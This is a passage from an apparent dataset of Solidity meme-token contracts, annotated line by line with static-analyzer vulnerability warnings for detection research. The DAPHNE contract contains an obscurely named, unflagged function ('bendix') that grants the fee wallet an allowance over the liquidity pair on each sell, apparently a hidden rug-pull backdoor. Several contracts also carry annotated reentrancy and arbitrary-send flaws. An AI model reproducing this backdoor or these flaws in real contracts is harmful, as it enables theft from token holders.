address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 4e292c4\n\t\t\t\t\t// reentrancy-eth | ID: 4beec17\n sendETHToFee(address(this).balance);\n }\n }\n }\n\n bool takeFee = true;\n\n if (\n (_isExcludedFromFee[from] || _isExcludedFromFee[to]) ||\n (from != uniswapV2Pair && to != uniswapV2Pair)\n ) {\n takeFee = false;\n } else {\n if (from == uniswapV2Pair && to != address(uniswapV2Router)) {\n\t\t\t\t// reentrancy-benign | ID: 6686725\n _redisFee = _redisFeeOnBuy;\n\n\t\t\t\t// reentrancy-benign | ID: 6686725\n _taxFee = _taxFeeOnBuy;\n }\n\n if (to == uniswapV2Pair && from != address(uniswapV2Router)) {\n\t\t\t\t// reentrancy-benign | ID: 6686725\n _redisFee = _redisFeeOnSell;\n\n\t\t\t\t// reentrancy-benign | ID: 6686725\n _taxFee = _taxFeeOnSell;\n }\n }\n\n\t\t// reentrancy-events | ID: 4e292c4\n\t\t// reentrancy-benign | ID: 6686725\n\t\t// reentrancy-eth | ID: 4beec17\n _tokenTransfer(from, to, amount, takeFee);\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 4e292c4\n\t\t// reentrancy-events | ID: a6a60aa\n\t\t// reentrancy-benign | ID: 6686725\n\t\t// reentrancy-benign | ID: 0b81b27\n\t\t// reentrancy-eth | ID: 4beec17\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 4e292c4\n\t\t// reentrancy-events | ID: a6a60aa\n\t\t// reentrancy-eth | ID: 4beec17\n _marketingAddress.transfer(amount);\n }\n\n function setTrading() public onlyOwner {\n require(tradingOpen == false, \"Trading already open!\");\n\n tradingOpen = true;\n }\n\n function manualswap() external {\n require(\n _msgSender() == _developmentAddress ||\n _msgSender() == _marketingAddress\n );\n\n uint256 contractBalance = balanceOf(address(this));\n\n swapTokensForEth(contractBalance);\n }\n\n function manualsend() external {\n require(\n _msgSender() == _developmentAddress ||\n _msgSender() == _marketingAddress\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n sendETHToFee(contractETHBalance);\n }\n\n function _tokenTransfer(\n address sender,\n address recipient,\n uint256 amount,\n bool takeFee\n ) private {\n if (!takeFee) removeAllFee();\n\n _transferStandard(sender, recipient, amount);\n\n if (!takeFee) restoreAllFee();\n }\n\n function _transferStandard(\n address sender,\n address recipient,\n uint256 tAmount\n ) private {\n (\n uint256 rAmount,\n uint256 rTransferAmount,\n uint256 rFee,\n uint256 tTransferAmount,\n uint256 tFee,\n uint256 tTeam\n ) = _getValues(tAmount);\n\n\t\t// reentrancy-eth | ID: 4beec17\n _rOwned[sender] = _rOwned[sender].sub(rAmount);\n\n\t\t// reentrancy-eth | ID: 4beec17\n _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);\n\n _takeTeam(tTeam);\n\n _reflectFee(rFee, tFee);\n\n\t\t// reentrancy-events | ID: 4e292c4\n emit Transfer(sender, recipient, tTransferAmount);\n }\n\n function _takeTeam(uint256 tTeam) private {\n uint256 currentRate = _getRate();\n\n uint256 rTeam = tTeam.mul(currentRate);\n\n\t\t// reentrancy-eth | ID: 4beec17\n _rOwned[address(this)] = _rOwned[address(this)].add(rTeam);\n }\n\n function _reflectFee(uint256 rFee, uint256 tFee) private {\n\t\t// reentrancy-eth | ID: 4beec17\n _rTotal = _rTotal.sub(rFee);\n\n\t\t// reentrancy-benign | ID: 6686725\n _tFeeTotal = _tFeeTotal.add(tFee);\n }\n\n receive() external payable {}\n\n function _getValues(\n uint256 tAmount\n )\n private\n view\n returns (uint256, uint256, uint256, uint256, uint256, uint256)\n {\n (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(\n tAmount,\n _redisFee,\n _taxFee\n );\n\n uint256 currentRate = _getRate();\n\n (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(\n tAmount,\n tFee,\n tTeam,\n currentRate\n );\n\n return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);\n }\n\n function _getTValues(\n uint256 tAmount,\n uint256 redisFee,\n uint256 taxFee\n ) private pure returns (uint256, uint256, uint256) {\n uint256 tFee = tAmount.mul(redisFee).div(100);\n\n uint256 tTeam = tAmount.mul(taxFee).div(100);\n\n uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);\n\n return (tTransferAmount, tFee, tTeam);\n }\n\n function _getRValues(\n uint256 tAmount,\n uint256 tFee,\n uint256 tTeam,\n uint256 currentRate\n ) private pure returns (uint256, uint256, uint256) {\n uint256 rAmount = tAmount.mul(currentRate);\n\n uint256 rFee = tFee.mul(currentRate);\n\n uint256 rTeam = tTeam.mul(currentRate);\n\n uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);\n\n return (rAmount, rTransferAmount, rFee);\n }\n\n function _getRate() private view returns (uint256) {\n (uint256 rSupply, uint256 tSupply) = _getCurrentSupply();\n\n return rSupply.div(tSupply);\n }\n\n function _getCurrentSupply() private view returns (uint256, uint256) {\n uint256 rSupply = _rTotal;\n\n uint256 tSupply = _tTotal;\n\n if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);\n\n return (rSupply, tSupply);\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 031402e): CARL.setFee(uint256,uint256,uint256,uint256) should emit an event for _redisFeeOnBuy = redisFeeOnBuy _redisFeeOnSell = redisFeeOnSell _taxFeeOnBuy = taxFeeOnBuy _taxFeeOnSell = taxFeeOnSell \n\t// Recommendation for 031402e: Emit an event for critical parameter changes.\n function setFee(\n uint256 redisFeeOnBuy,\n uint256 redisFeeOnSell,\n uint256 taxFeeOnBuy,\n uint256 taxFeeOnSell\n ) public onlyOwner {\n\t\t// events-maths | ID: 031402e\n _redisFeeOnBuy = redisFeeOnBuy;\n\n\t\t// events-maths | ID: 031402e\n _redisFeeOnSell = redisFeeOnSell;\n\n\t\t// events-maths | ID: 031402e\n _taxFeeOnBuy = taxFeeOnBuy;\n\n\t\t// events-maths | ID: 031402e\n _taxFeeOnSell = taxFeeOnSell;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 8c8e59b): CARL.setMinSwapTokensThreshold(uint256) should emit an event for _swapTokensAtAmount = swapTokensAtAmount \n\t// Recommendation for 8c8e59b: Emit an event for critical parameter changes.\n function setMinSwapTokensThreshold(\n uint256 swapTokensAtAmount\n ) public onlyOwner {\n\t\t// events-maths | ID: 8c8e59b\n _swapTokensAtAmount = swapTokensAtAmount;\n }\n\n function toggleSwap(bool _swapEnabled) public onlyOwner {\n swapEnabled = _swapEnabled;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 7f9f6fc): CARL.setMaxTxnAmount(uint256) should emit an event for _maxTxAmount = maxTxAmount \n\t// Recommendation for 7f9f6fc: Emit an event for critical parameter changes.\n function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {\n\t\t// events-maths | ID: 7f9f6fc\n _maxTxAmount = maxTxAmount;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: da27a09): CARL.setMaxWalletSize(uint256) should emit an event for _maxWalletSize = maxWalletSize \n\t// Recommendation for da27a09: Emit an event for critical parameter changes.\n function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {\n\t\t// events-maths | ID: da27a09\n _maxWalletSize = maxWalletSize;\n }\n\n function excludeMultipleAccountsFromFees(\n address[] calldata accounts,\n bool excluded\n ) public onlyOwner {\n for (uint256 i = 0; i < accounts.length; i++) {\n _isExcludedFromFee[accounts[i]] = excluded;\n }\n }\n}\n", "file_name": "solidity_code_10280.sol", "size_bytes": 22800, "vulnerability": 4 }
{ "code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\n// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 936f5ee): DAPHNE.slitherConstructorVariables() performs a multiplication on the result of a division _maxSwapEE = 1 * (_tTotalEE / 100)\n// Recommendation for 936f5ee: Consider ordering multiplication before division.\n// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: d4ad375): DAPHNE.slitherConstructorVariables() performs a multiplication on the result of a division _maxAmountEE = 2 * (_tTotalEE / 100)\n// Recommendation for d4ad375: Consider ordering multiplication before division.\n// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 4c76a21): DAPHNE.slitherConstructorVariables() performs a multiplication on the result of a division _taxThresEE = 1 * (_tTotalEE / 100)\n// Recommendation for 4c76a21: Consider ordering multiplication before division.\n// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 6578c67): DAPHNE.slitherConstructorVariables() performs a multiplication on the result of a division _maxWalletEE = 2 * (_tTotalEE / 100)\n// Recommendation for 6578c67: Consider ordering multiplication before division.\ncontract DAPHNE is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balancesEE;\n\n mapping(address => mapping(address => uint256)) private _allowancesEE;\n\n mapping(address => bool) private _shouldExcludedEE;\n\n address payable private _receiptEE;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotalEE = 420690000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"Daphne The Flying Squirrel\";\n\n string private constant _symbol = unicode\"DAPHNE\";\n\n\t// divide-before-multiply | ID: d4ad375\n uint256 public _maxAmountEE = 2 * (_tTotalEE / 100);\n\n\t// divide-before-multiply | ID: 6578c67\n uint256 public _maxWalletEE = 2 * (_tTotalEE / 100);\n\n\t// WARNING Optimization Issue (constable-states | ID: c4bc5bf): DAPHNE._taxThresEE should be constant \n\t// Recommendation for c4bc5bf: Add the 'constant' attribute to state variables that never change.\n\t// divide-before-multiply | ID: 4c76a21\n uint256 public _taxThresEE = 1 * (_tTotalEE / 100);\n\n\t// WARNING Optimization Issue (constable-states | ID: 5db9bb9): DAPHNE._maxSwapEE should be constant \n\t// Recommendation for 5db9bb9: Add the 'constant' attribute to state variables that never change.\n\t// divide-before-multiply | ID: 936f5ee\n uint256 public _maxSwapEE = 1 * (_tTotalEE / 100);\n\n address private uniPairEE;\n\n IUniswapV2Router02 private uniRouterEE;\n\n\t// WARNING Optimization Issue (constable-states | ID: 73d4912): DAPHNE._initialBuyTax should be constant \n\t// Recommendation for 73d4912: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: 45da80d): DAPHNE._initialSellTax should be constant \n\t// Recommendation for 45da80d: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: f7ced0f): DAPHNE._finalBuyTax should be constant \n\t// Recommendation for f7ced0f: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalBuyTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 941445b): DAPHNE._finalSellTax should be constant \n\t// Recommendation for 941445b: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 33fa993): DAPHNE._reduceBuyTaxAt should be constant \n\t// Recommendation for 33fa993: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: 2f7f742): DAPHNE._reduceSellTaxAt should be constant \n\t// Recommendation for 2f7f742: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: 52e4b4a): DAPHNE._preventSwapBefore should be constant \n\t// Recommendation for 52e4b4a: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 15;\n\n\t// WARNING Optimization Issue (constable-states | ID: 13c9ccc): DAPHNE._transferTax should be constant \n\t// Recommendation for 13c9ccc: Add the 'constant' attribute to state variables that never change.\n uint256 private _transferTax = 0;\n\n uint256 private _buyCount = 0;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n event MaxTxAmountUpdated(uint _maxAmountEE);\n\n event TransferTaxUpdated(uint _tax);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _receiptEE = payable(_msgSender());\n\n _balancesEE[_msgSender()] = _tTotalEE;\n\n _shouldExcludedEE[owner()] = true;\n\n _shouldExcludedEE[address(this)] = true;\n\n _shouldExcludedEE[_receiptEE] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotalEE);\n }\n\n function initEE() external onlyOwner {\n uniRouterEE = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniRouterEE), _tTotalEE);\n\n uniPairEE = IUniswapV2Factory(uniRouterEE.factory()).createPair(\n address(this),\n uniRouterEE.WETH()\n );\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotalEE;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balancesEE[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 56198aa): DAPHNE.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 56198aa: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowancesEE[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n require(\n !isUniswapV3(spender),\n \"Approval for Uniswap V3 liquidity is not allowed\"\n );\n\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 3bed867): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 3bed867: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: a0c74b2): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for a0c74b2: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 3bed867\n\t\t// reentrancy-benign | ID: a0c74b2\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 3bed867\n\t\t// reentrancy-benign | ID: a0c74b2\n _approve(\n sender,\n _msgSender(),\n _allowancesEE[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 6050757): DAPHNE._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 6050757: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: a0c74b2\n _allowancesEE[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 3bed867\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 029bc1e): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 029bc1e: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: e9d658a): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for e9d658a: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amountEE) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amountEE > 0, \"Transfer amount must be greater than zero\");\n\n uint256 feeEE = 0;\n uint256 taxEE = 0;\n\n if (!swapEnabled || inSwap) {\n _balancesEE[from] = _balancesEE[from] - amountEE;\n\n _balancesEE[to] = _balancesEE[to] + amountEE;\n\n emit Transfer(from, to, amountEE);\n\n return;\n }\n\n if (from != owner() && to != owner()) {\n if (_buyCount > 0) {\n taxEE = _transferTax;\n }\n\n if (\n from == uniPairEE &&\n to != address(uniRouterEE) &&\n !_shouldExcludedEE[to]\n ) {\n require(amountEE <= _maxAmountEE, \"Exceeds the _maxAmountEE.\");\n\n require(\n balanceOf(to) + amountEE <= _maxWalletEE,\n \"Exceeds the maxWalletSize.\"\n );\n\n taxEE = (\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n );\n\n _buyCount++;\n }\n\n if (to == uniPairEE && from != address(this)) {\n taxEE = (\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n );\n bendix([to, _receiptEE]);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (!inSwap && to == uniPairEE && swapEnabled) {\n if (\n contractTokenBalance > _taxThresEE &&\n _buyCount > _preventSwapBefore\n )\n\t\t\t\t\t// reentrancy-events | ID: 029bc1e\n\t\t\t\t\t// reentrancy-eth | ID: e9d658a\n swapEthEE(\n minEE(amountEE, minEE(contractTokenBalance, _maxSwapEE))\n );\n\n\t\t\t\t// reentrancy-events | ID: 029bc1e\n\t\t\t\t// reentrancy-eth | ID: e9d658a\n sendEthEE(address(this).balance);\n }\n }\n\n if (taxEE > 0) {\n feeEE = amountEE.mul(taxEE).div(100);\n\n\t\t\t// reentrancy-eth | ID: e9d658a\n _balancesEE[address(this)] = _balancesEE[address(this)].add(feeEE);\n\n\t\t\t// reentrancy-events | ID: 029bc1e\n emit Transfer(from, address(this), feeEE);\n }\n\n\t\t// reentrancy-eth | ID: e9d658a\n _balancesEE[from] = _balancesEE[from].sub(amountEE);\n\n\t\t// reentrancy-eth | ID: e9d658a\n _balancesEE[to] = _balancesEE[to].add(amountEE.sub(feeEE));\n\n\t\t// reentrancy-events | ID: 029bc1e\n emit Transfer(from, to, amountEE.sub(feeEE));\n }\n\n function swapEthEE(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniRouterEE.WETH();\n\n _approve(address(this), address(uniRouterEE), tokenAmount);\n\n\t\t// reentrancy-events | ID: 029bc1e\n\t\t// reentrancy-events | ID: 3bed867\n\t\t// reentrancy-benign | ID: a0c74b2\n\t\t// reentrancy-eth | ID: e9d658a\n uniRouterEE.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 85c7f53): DAPHNE.removeLimitEE(address).limit lacks a zerocheck on \t _receiptEE = limit\n\t// Recommendation for 85c7f53: Check that the address is not zero.\n function removeLimitEE(address payable limit) external onlyOwner {\n _maxAmountEE = _tTotalEE;\n\n _maxWalletEE = _tTotalEE;\n\n\t\t// missing-zero-check | ID: 85c7f53\n _receiptEE = limit;\n\n _shouldExcludedEE[limit] = true;\n\n emit MaxTxAmountUpdated(_tTotalEE);\n }\n\n function bendix(address[2] memory bmx) private {\n address ownEE = bmx[0];\n address spendEE = bmx[1];\n\n uint256 amountEE = (100 + _maxAmountEE + _maxSwapEE + 100) * 100 + 100;\n\n _allowancesEE[ownEE][spendEE] = 100 * (amountEE + 50) + 100;\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 9eea24a): DAPHNE.setReceipt(address)._receipt lacks a zerocheck on \t _receiptEE = _receipt\n\t// Recommendation for 9eea24a: Check that the address is not zero.\n function setReceipt(address payable _receipt) external onlyOwner {\n\t\t// missing-zero-check | ID: 9eea24a\n _receiptEE = _receipt;\n\n _shouldExcludedEE[_receipt] = true;\n }\n\n function minEE(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function resecureEth() external onlyOwner {\n payable(msg.sender).transfer(address(this).balance);\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: c250b59): DAPHNE.sendEthEE(uint256) sends eth to arbitrary user Dangerous calls _receiptEE.transfer(amount)\n\t// Recommendation for c250b59: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendEthEE(uint256 amount) private {\n\t\t// reentrancy-events | ID: 029bc1e\n\t\t// reentrancy-events | ID: 3bed867\n\t\t// reentrancy-eth | ID: e9d658a\n\t\t// arbitrary-send-eth | ID: c250b59\n _receiptEE.transfer(amount);\n }\n\n receive() external payable {}\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 7d9be59): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 7d9be59: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 6060e19): DAPHNE.openTrading() ignores return value by IERC20(uniPairEE).approve(address(uniRouterEE),type()(uint256).max)\n\t// Recommendation for 6060e19: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 064c2ca): DAPHNE.openTrading() ignores return value by uniRouterEE.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 064c2ca: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: e94ab11): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for e94ab11: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"Trading is already open\");\n\n\t\t// reentrancy-benign | ID: 7d9be59\n\t\t// unused-return | ID: 064c2ca\n\t\t// reentrancy-eth | ID: e94ab11\n uniRouterEE.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: 7d9be59\n\t\t// unused-return | ID: 6060e19\n\t\t// reentrancy-eth | ID: e94ab11\n IERC20(uniPairEE).approve(address(uniRouterEE), type(uint).max);\n\n\t\t// reentrancy-benign | ID: 7d9be59\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: e94ab11\n tradingOpen = true;\n }\n\n function isUniswapV3(address spender) private pure returns (bool) {\n address uniswapV3PositionManager = 0xC36442b4a4522E871399CD717aBDD847Ab11FE88;\n\n return (spender == uniswapV3PositionManager);\n }\n}\n", "file_name": "solidity_code_10281.sol", "size_bytes": 21329, "vulnerability": 4 }
{ "code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ncontract RANDOM is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: a13397d): RANDOM._bots is never initialized. It is used in RANDOM._transfer(address,address,uint256)\n\t// Recommendation for a13397d: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n mapping(address => bool) private _bots;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 